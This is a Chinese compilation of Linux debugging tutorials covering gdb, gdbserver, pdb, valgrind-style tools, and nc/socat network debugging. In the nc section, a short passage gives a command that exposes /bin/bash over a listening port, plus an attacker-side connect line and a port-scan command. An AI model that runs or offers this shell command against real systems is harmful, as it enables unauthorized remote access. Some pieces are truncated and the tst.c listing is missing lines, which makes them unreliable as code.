linux环境下的调试命令
Linux下用gdb调试、查看代码堆栈

Linux下⽤gdb调试、查看代码堆栈Linux中⽤gdb 查看代码堆栈的信息core dump ⼀般是在segmentation fault(段错误)的情况下产⽣的⽂件,需要通过ulimit来设置才会得到的。
调试的话输⼊: gdb filename corefilename就是产⽣core⽂件的可执⾏⽂件,core就是产⽣的dump⽂件查看栈信息—————当程序被停住了,你需要做的第⼀件事就是查看程序是在哪⾥停住的。
当你的程序调⽤了⼀个函数,函数的地址,函数参数,函数内的局部变量都会被压⼊“栈”(Stack)中。
你可以⽤GDB命令来查看当前的栈中的信息。
下⾯是⼀些查看函数调⽤栈信息的GDB命令:backtracebt打印当前的函数调⽤栈的所有信息。
如:(gdb) bt#0 func (n=250) at tst.c:6#1 0x08048524 in main (argc=1, argv=0xbffff674) at tst.c:30#2 0x400409ed in __libc_start_main () from /lib/libc.so.6从上可以看出函数的调⽤栈信息:__libc_start_main --> main()--> func()backtracebtn是⼀个正整数,表⽰只打印栈顶上n层的栈信息。
backtrace <-n>bt <-n>-n表⼀个负整数,表⽰只打印栈底下n层的栈信息。
如果你要查看某⼀层的信息,你需要在切换当前的栈,⼀般来说,程序停⽌时,最顶层的栈就是当前栈,如果你要查看栈下⾯层的详细信息,⾸先要做的是切换当前栈。
framefn是⼀个从0开始的整数,是栈中的层编号。
⽐如:frame 0,表⽰栈顶,frame 1,表⽰栈的第⼆层。
up表⽰向栈的上⾯移动n层,可以不打n,表⽰向上移动⼀层。
down表⽰向栈的下⾯移动n层,可以不打n,表⽰向下移动⼀层。
Linux调试工具

Linux调试⼯具1. 使⽤printf调试#ifdef DEBUGPrintf(“valriable x has value = %d\n”, x)#endif然后在编译选项中加⼊-DDEBUG更复杂的调试应⽤如:#define BASIC_DEBUG 1#define EXTRA_DEBUG 2#define SUPER_DEBUG 4#if (DEBUG &EXTRA_DEBUG)printf …#endif在这种情况下如果设置编译器标志为-DDEBUG=5,将启⽤BASIC_DEBUG和SUPER_DEBUG。
标志-DDEBUG=0将禁⽤所有的调试信息,也可以在程序中添加如下语句:#ifndef DEBUG#define DEBUG 0#endif2.使⽤gdb调试Gcc编译的时候要加上-g选项,让编译器在程序中添加额外的调试信息。
如果正式发布,这些调试信息可以使⽤strip命令删除。
Gdb:Backtrace栈跟踪3. 程序静态分析⼯具splintsplint功能:常识性测试并产⽣⼀些警告信息。
它可以检测未经赋值的变量使⽤,函数的参数未使⽤等异常情况。
4. 程序执⾏性能分析⼯具prof/gprof显⽰执⾏所花费的时间具体都⽤在什么操作上。
5. 内存调试ElectricFence函数库和valgrind可以⽤来检查动态内存分配的⼀些问题,包括内存泄漏。
Linux下的调试⼯具随着XP的流⾏,⼈们越来越注重软件的前期设计、后期的实现,以及贯穿于其中的测试⼯作,经过这个过程出来的⾃然是⾼质量的软件。
甚⾄有⼈声称XP会淘汰调试器!这当然是有⼀定道理的,然⽽就⽬前的现实来看,这还是⼀种理想。
在⽇常⼯作中,调试⼯具还是必不可少的。
在Linux下,调试⼯具并⾮只有gdb,还有很多其它调试⼯具,它们都各有所长,侧重⽅⾯也有所不同。
本⽂介绍⼏种笔者常⽤的调试⼯具:1. mtrace在linux下开发应⽤程序,⽤C/C++语⾔的居多。
linux 调试手段

linux 调试手段Linux调试是在Linux操作系统中排查和修复问题的过程。
它是一种有力的工具,用于定位和解决软件和硬件问题。
下面将介绍一些常见的Linux调试手段。
我们可以使用日志文件来进行调试。
Linux系统会自动记录各种系统事件和错误信息到日志文件中,我们可以通过查看这些日志文件来了解系统的运行情况。
常见的日志文件包括/var/log/messages、/var/log/syslog等。
通过分析日志文件中的错误信息,我们可以找到问题的根源。
使用命令行工具也是调试Linux问题的常用手段之一。
例如,我们可以使用ps命令查看正在运行的进程,top命令查看系统的资源占用情况,lsof命令查看文件被哪些进程打开等等。
这些命令可以帮助我们了解系统的运行状态,从而找到问题所在。
使用调试器也是解决Linux问题的重要手段。
调试器可以帮助我们跟踪程序的执行过程,查看变量的值,定位代码的问题。
常见的调试器有gdb、strace、ltrace等。
通过在调试器中设置断点、观察变量的值,我们可以逐步分析程序的执行过程,找到问题的所在。
还有一些其他的调试手段,如使用网络调试工具。
我们可以使用ping命令来测试网络连接是否正常,使用nc命令来测试网络服务是否可用。
此外,使用tcpdump命令可以抓包分析网络数据,帮助我们找到网络问题的根源。
Linux调试手段多种多样,我们可以根据具体情况选择合适的工具和方法进行调试。
通过日志文件、命令行工具、调试器和网络调试工具等,我们可以查找和解决各种问题,保证系统的正常运行。
调试过程需要耐心和细心,但通过不断的学习和实践,我们可以不断提高调试的能力,更好地解决问题。
Linux命令高级技巧使用nc和socat进行网络调试和转发

Linux命令高级技巧使用nc和socat进行网络调试和转发在Linux系统中,运维或网络工程师经常需要进行网络调试和转发,以确保网络连接正常并解决问题。
而nc(netcat)和socat是两个非常强大的命令行工具,它们可以帮助我们进行各种网络调试和转发的操作。
本文将介绍如何使用nc和socat这两个命令进行高级网络调试和转发。
一、使用nc进行网络调试和转发1. nc的基本使用nc是一个用于建立TCP/UDP连接、发送和接收数据的工具。
它的基本使用格式如下:```nc [options] host port```其中,host代表目标主机的IP地址或域名,port代表目标主机的端口号。
要建立一个TCP连接并发送数据到目标主机的特定端口可以这样使用nc命令:```echo "Hello World" | nc host port这将在终端上显示"Hello World",并将其发送到目标主机和端口。
2. 使用nc进行端口扫描nc还可以用于进行端口扫描,以确定目标主机上哪些端口处于打开状态。
以下是进行端口扫描的命令示例:```nc -zv host startport-endport```其中,host代表目标主机的IP地址或域名,startport和endport代表端口范围的起始和结束端口。
3. 使用nc进行反向shellnc还可以用于建立反向shell连接,即在目标主机上监听并等待连接,一旦有连接请求,就建立一个shell会话。
以下是建立反向shell连接的命令示例:在目标主机上执行:```nc -lvp listenport -e /bin/bash```在攻击者主机上执行:nc targetIP listenport```这将在目标主机上打开一个shell,攻击者可以通过这个shell与目标主机进行交互。
二、使用socat进行网络调试和转发socat是一个功能强大的网络工具,它可以建立各种类型的连接,并提供了更多的高级功能。
linux下gdb单步调试

linux下gdb单步调试(上)2008-12-06 21:12用 GDB 调试程序GDB 概述————GDB 是 GNU 开源组织发布的一个强大的 UNIX 下的程序调试工具。
或许,各位比较喜欢那种图形界面方式的,像 VC 、 BCB 等 IDE 的调试,但如果你是在UNIX 平台下做软件,你会发现 GDB 这个调试工具有比 VC 、 BCB 的图形化调试器更强大的功能。
所谓“ 寸有所长,尺有所短” 就是这个道理。
一般来说, GDB 主要帮忙你完成下面四个方面的功能:1 、启动你的程序,可以按照你的自定义的要求随心所欲的运行程序。
2 、可让被调试的程序在你所指定的调置的断点处停住。
(断点可以是条件表达式)3 、当程序被停住时,可以检查此时你的程序中所发生的事。
4 、动态的改变你程序的执行环境。
从上面看来, GDB 和一般的调试工具没有什么两样,基本上也是完成这些功能,不过在细节上,你会发现 GDB 这个调试工具的强大,大家可能比较习惯了图形化的调试工具,但有时候,命令行的调试工具却有着图形化工具所不能完成的功能。
让我们一一看来。
一个调试示例——————源程序: tst.c1 #include <stdio.h>23 int func(int n)4 {5 int sum=0,i;6 for(i=0; i<n; i++)7 {8 sum+=i;9 }10 return sum;11 }121315 {16 int i;17 long result = 0;18 for(i=1; i<=100; i++)19 {20 result += i;21 }2223 printf("result[1-100] = %d \n", result );24 printf("result[1-250] = %d \n", func(250) );25 }编译生成执行文件:( Linux 下)hchen/test> cc -g tst.c -o tst使用 GDB 调试:hchen/test> gdb tst <---------- 启动 GDBGNU gdb 5.1.1Copyright 2002 Free Software Foundation, Inc.GDB is free software, covered by the GNU General Public License, and you arewelcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions.There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-suse-linux"...(gdb) l <-------------------- l 命令相当于 list ,从第一行开始例出原码。
Linux环境下调试python代码----pdb模块

Linux环境下调试python代码----pdb模块1. 背景:window环境可以使⽤pycharm类似的IDE⼯具debug调试代码,
但是在Linux环境下可以使⽤pdb模块提⾼开发效率
使⽤⽅式:
2.在代码中导⼊pdb模块
import pdb
功能:断点设置,单步执⾏,查看代码,查看函数,追踪变量等
pdb.set_trace()
功能:设置初始断点,开始进⼊pdb调试模式
3.调试中的命令
next, n 单步执⾏
step, s 进⼊函数单步执⾏
up , u 执⾏跳转到当前堆栈的上⼀层
return, r 执⾏当前运⾏函数到结束
args, a 列出当前执⾏函数的函数
break , b 设置断点
where, w 打印当前执⾏堆栈
unitl, unt 执⾏到下⼀⾏(跳出循环),或者当前堆栈结束
continue ,c 继续执⾏
list , l 查看当前代码段
pp 打印变量值
q 退出调试
exit 退出pdb调试。
Linux应用调试使用gdb和gdbserver命令详解

Linux应⽤调试使⽤gdb和gdbserver命令详解1.gdb和gdbserver调试原理通过linux虚拟机⾥的gdb,来向开发板⾥的gdbserver发送命令,⽐如设置断点,运⾏setp等,然后开发板上的gdbserver收到命令后,便会执⾏应⽤程序做相应的动作,来实现调试的功能和之前学的裸板GDB调试⼀样,只不过之前学的是在win下的,本次是在linux⾥的gdb1.1同样,它们都会需要⼀个带调试信息的编译⽂件.通过Makefile⾥的arm-linux-gcc -g 来的, -g:表⽰编译⽂件⾥包含gdb调试信息1.2为什么需要调试信息的编译⽂件?⽐如读开发板的应⽤程序⾥的变量a:⾸先gdb通过应⽤程序的带调试信息的编译⽂件,来找出变量a存的地址位置然后将地址发送给开发板⾥的gdbserver,来读出a地址的值2.安装gdb和gdbserver2.1在虚拟机上安装GDB: # tar xjf gdb-7.4.tar.bz2 //解压# cd gdb-7.4/ //进⼊gdb-7.4⽬录#./configure --target=arm-linux//GDB需要在pc本机⾥运⾏,并调试开发板⾥的应⽤程序,所以--target设为arm-linux#make //编译#mkdir tmp#make install prefix=$PWD/tmp //安装到./tmp⽬录下sudo cp tmp/bin/arm-linux-gdb /bin/ //复制到/bin⽬录下/bin/arm-linux-gdb -v //-v: 确定⼀下gdb的版本VID,是否是7.42.2 在开发板上安装GDBServer:cd gdb/gdbserver/ //在gdb-7.4⽬录下输⼊./configure --target=arm-linux --host=arm-linux //设GDBServer的⼯作环境make //编译出现以下错误:指在linux-arm-low.c⾥,没有找到PTRACE_GETSIGINFO 定义2.3 解决:1)#echo $PATH //来查看PATH环境变量找到编译器gcc位于/work/tools/gcc-3.4.5-glibc-2.3.6/bin2)#cd /work/tools/gcc-3.4.5-glibc-2.3.6/ # grep "PTRACE_GETSIGINFO" * -nR在gcc根⽬录下,搜索到在linux/ptrace.h中定义:3)#vi linux-arm-low.c添加: #define PTRACE_GETSIGINFO 0x42024)最后重新make,⽣成gdbserver命令⽂件然后将gdbserver命令⽂件,放⼊我们开发板的根⽬录/bin中,便能使⽤了cp gdbserver /nfs_root/bin/ //nfs_root:开发板的nfs系统根⽬录3.测试程序如下(test_debug.c)#include <stdio.h>void C(int *p){ *p = 0x12;}void B(int *p){ C(p);}void A(int *p){ B(p);}void A2(int *p){ C(p);}int main(int argc, char **argv){ int a; int *p = NULL; A2(&a); // A2 > C printf("a = 0x%x\n", a); A(p); // A > B > C return 0;}其中A2(&a)会调⽤A2()->C(),然后将a赋值为0x12.A(p)会调⽤A()->B()->C(),由于p是个空指针,这⾥将会出错.接下来,我们便以这个应⽤程序为例.4.编译#arm-linux-gcc -g -o test_debug test_debug.c //-g:附带调试信息5.调试test_debug.c在开发板上:⾸先,需要让gdbserver建⽴本地服务器,以及要测试的哪个⽂件:#gdbserver 192.168.2.107:2345 ./test_debug//192.168.2.107:本地IP地址//2345:端⼝号,⽤来让gdb来连接⽤的//./test_debug:要测试的哪个⽂件在虚拟机上:#/bin/arm-linux-gdb ./test_debug // 启动gdb,指定调试⽂件为test_debug#target remote 192.168.2.107:2345 //与gdbserver建⽴连接5.1连接成功,便使⽤gdb命令来调试列出所有源代码break [file]:[row]打断点,⽐如:break test_debug.c:21 //在test_debug.c⽂件的第21⾏处打断点info br查看断点info file列出当前的⽂件,共享库。
如何在Linux终端中调试程序

如何在Linux终端中调试程序在Linux系统中,终端是开发者和系统管理员经常使用的重要工具。
通过终端,我们可以执行各种命令和操作,包括程序的编译、运行和调试。
本文将介绍在Linux终端中如何进行程序调试的方法和技巧。
一、安装调试工具要在Linux终端中进行程序调试,首先需要安装相应的调试工具。
常用的调试工具包括GDB (GNU调试器)和LLDB (LLVM调试器)。
这两个工具都是开源的,可以通过包管理器来安装。
1. 使用GDB进行程序调试GDB是Linux中最常用的调试工具之一。
下面是GDB的安装方法:```$ sudo apt-get install gdb```安装完成后,可以通过以下命令来验证安装是否成功:```$ gdb --version```2. 使用LLDB进行程序调试LLDB是一个高级的调试工具,它可以用于多种编程语言,包括C、C++和Objective-C。
下面是LLDB的安装方法:```$ sudo apt-get install lldb```安装完成后,可以通过以下命令来验证安装是否成功:```$ lldb --version```二、编译程序时的调试选项在Linux终端中调试程序时,为了方便跟踪问题和定位错误,可以在编译程序时添加调试选项。
常用的调试选项包括-g(生成调试信息)、-Wall(显示警告信息)和-O0(禁用优化)。
例如,使用gcc编译C程序时可以使用以下命令:```$ gcc -g -Wall -O0 program.c -o program```三、使用GDB进行程序调试1. 启动GDB调试器通过以下命令启动GDB调试器,并加载需要调试的程序:```$ gdb program```2. 设置断点在GDB中,可以使用break命令设置断点,以便在程序执行到指定位置时暂停。
例如,要在函数的第10行设置断点,可以使用以下命令:```(gdb) break 10```3. 执行程序使用run命令执行程序,并在断点处停止:```(gdb) run```4. 调试程序一旦程序在断点处停止,可以使用以下命令进行调试:- 继续执行:使用continue命令继续执行程序。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
Linux下GDB调试命令_1
2008-11-21 18:39
GDB是GNU开源组织发布的一个强大的UNIX下的程序调试工具,不过现在在Linux下也可以用了。
它使你能在程序运行时观察程和内存的使用情况。
Linux不比Windows,没有那么多方便的图形界面方式的,像.Net、Eclipse等IDE的调试器。
但上天逼着我在Li 软件,用了一段时间,你会发现GDB这个调试工具一点不比其它的差,所谓“寸有所长,尺有所短”就是这个道理。
一般来说,我可以用GDB来:
∙加载程序
∙设置监视点、断点、入口条件等
∙动态的改变你程序的执行环境
∙单步调试、追踪
一、加载文件
启动GDB的方法有以下几种:
1、>gdb [exe]
2、>gdb pid [pid]
GDB启动时,可以加上一些GDB的启动开关,详细的开关可以用gdb -help查看。
我在下面只例举一些比较常用的参数:
-symbols
-s
从指定文件中读取符号表。
-se file
从指定文件中读取符号表信息,并把他用在可执行文件中。
-core
-c
调试时core dump的core文件。
-directory
-d
加入一个源文件的搜索路径。
默认搜索路径是环境变量中PATH所定义的路径。
二、运行命令
当以gdb 方式启动gdb后,gdb会在PATH路径和当前目录中搜索的源文件。
在gdb中,运行程序使用r或是run命令。
程序的运行,你有可能需要设置下面四方面的事。
1、程序运行参数。
set args 可指定运行时参数。
(如:set args 10 20 30 40 50)
show args 命令可以查看设置好的运行参数。
2、运行环境。
path
可设定程序的运行路径。
show paths 查看程序的运行路径。
set environment varname [=value] 设置环境变量。
如:set env USER=hchen
show environment [varname] 查看环境变量。
3、工作目录。
cd
相当于shell的cd命令。
pwd 显示当前的所在目录。
4、程序的输入输出。
info terminal 显示你程序用到的终端的模式。
使用重定向控制程序输出。
如:run > outfile
tty命令可以指写输入输出的终端设备。
如:tty /dev/ttyb
三、断线(break / b)
我们用break命令来设置断点。
正面有几点设置断点的方法:
>break +offset / break -offset 在当前行号的前面或后面的offset行停住。
offiset为自然数。
>break filename:linenum 在源文件filename的linenum行处停住。
>break filename:function 在源文件filename的function函数的入口处停住。
>break *address 在程序运行的内存地址处停住。
>break break命令没有参数时,表示在下一条指令处停住。
>break ... if 在条件成立时停住。
比如在循环境体中,可以设置break if i=100,表示当i为100时停住程序。
查看断点时,可使用info命令,如下所示:(注:n表示断点号)
>info breakpoints [n]
>info break [n]
四、设置观察点(WatchPoint)
观察点一般来观察某个表达式(变量也是一种表达式)的值是否有变化了,如果有变化,马上停住程序。
我们有下面的几种方法来点:
watch
为表达式(变量)expr设置一个观察点。
一量表达式值有变化时,马上停住程序。
rwatch
当表达式(变量)expr被读时,停住程序。
awatch
当表达式(变量)的值被读或被写时,停住程序。
info watchpoints
列出当前所设置了的所有观察点。
五、设置捕捉点(CatchPoint)
你可设置捕捉点来补捉程序运行时的一些事件。
如:载入共享库(动态链接库)或是C++的异常。
设置捕捉点的格式为:
catch
当event发生时,停住程序。
event可以是下面的内容:
1、throw 一个C++抛出的异常。
(throw为关键字)
2、catch 一个C++捕捉到的异常。
(catch为关键字)
3、exec 调用系统调用exec时。
(exec为关键字,目前此功能只在HP-UX下有用)
4、fork 调用系统调用fork时。
(fork为关键字,目前此功能只在HP-UX下有用)
5、vfork 调用系统调用vfork时。
(vfork为关键字,目前此功能只在HP-UX下有用)
6、load 或 load 载入共享库(动态链接库)时。
(load为关键字,目前此功能只在HP-UX下有用)
7、unload 或 unload 卸载共享库(动态链接库)时。
(unload为关键字,目前此功能只在HP-UX下有用)
tcatch
只设置一次捕捉点,当程序停住以后,该点被自动删除。
六、断点条件(condit)
在设置断点时,我们提到过可以设置一个条件,当条件成立时,程序自动pause。
一般来说,为断点设置一个条件,我们使用if关
其断点条件。
并且,条件设置好后,我们可以用condition命令来修改断点的条件。
(只有break和watch命令支持if,catch目前暂 condition [brknum] [expr]
修改断点号为bnum的停止条件为expression,或者清除断点号为bnum的停止条件。
还有一个比较特殊的维护命令ignore,你可以指定程序运行时,忽略停止条件几次。
ignore [brknum] [count]
表示忽略断点号为bnum的停止条件count次。
GDB还提供的command命令来设置停止点的运行命令。
利用它可以在断点条件达到时批处理一些命令,这对基于GDB的自动化调的支持。
commands [bnum]
... command-list ...
end
例如:
break foo if x>0
commands
printf "x is %d ",x
continue
end
断点设置在函数foo中,断点条件是x>0,如果程序被断住后,也就是,一旦x的值在foo函数中大于0,GDB会自动打印出x的值行程序。
七、单步调试
当程序被停住了,你可以用continue命令恢复程序的运行直到程序结束,或下一个断点到来。
也可以使用step或next命令单步跟 continue [ignore-count]
c [ignore-count]
fg [ignore-count]
恢复程序运行,直到程序结束,或是下一个断点到来。
ignore-count表示忽略其后的断点次数。
continue,c,fg三个命令都是一样的
step [count]
单步跟踪,很像.net等工具中的step in。
后面可以加count也可以不加,不加表示一条条地执行,加表示执行后面的count条指令, next [count]
同样单步跟踪,如果有函数调用,他不会进入该函数。
很像VC等工具中的step over。
后面可以加count也可以不加,不加表示一条条表示执行后面的count条指令,然后再停住。
set step-mode
set step-mode on
打开step-mode模式,于是,在进行单步跟踪时,程序不会因为没有debug信息而不停住。
这个参数有很利于查看机器码。
set step-mod off
关闭step-mode模式。
finish
运行程序,直到当前函数完成返回。
并打印函数返回时的堆栈地址和返回值及参数值等信息。
until 或 u
当你厌倦了在一个循环体内单步跟踪时,这个命令可以运行程序直到退出循环体。
stepi 或 si
nexti 或 ni
单步跟踪一条机器指令。
一条程序代码有可能由数条机器指令完成,stepi和nexti可以单步执行机器指令。
与之一样有相同功能的命令$pc” ,当运行完这个命令后,单步跟踪会在打出程序代码的同时打出机器指令(也就是汇编代码)
先写这么多吧。
GDB下面还提供了强大的源码查看、搜索功能。
还有线程打断和捕获中断的功能,不过这些我都不是很常用。
等我总结吧。